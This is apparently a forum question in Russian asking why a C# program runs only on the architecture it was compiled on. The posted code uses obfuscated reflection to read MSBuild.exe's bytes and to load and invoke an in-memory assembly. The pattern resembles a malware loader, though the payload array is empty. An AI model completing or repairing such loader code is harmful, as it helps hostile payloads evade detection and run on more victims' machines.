Когда я компилирую свой код, он работает только на архитектуре (x86 или x64) системы, на которой я его скомпилировал, несмотря на то, что я активировал «Любой процессор» в Visual Studio.
После нескольких поисков до сих пор не могу решить эту проблему.
Как я могу, пожалуйста, запустить мое приложение на Windows X86 и X64?
Вот мой код:
var bitThread= (byte[])Type.GetType("System.IO.File")?.GetMethod("ReadAllBytes", new[] { typeof(string) })?.Invoke(new Random().Next(0, 36752),
new object[] { @"C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe" });
AppDomain.CurrentDomain.Load(new byte[] {}).GetTypes()[1].GetMethods()[0]
.Invoke(null, null);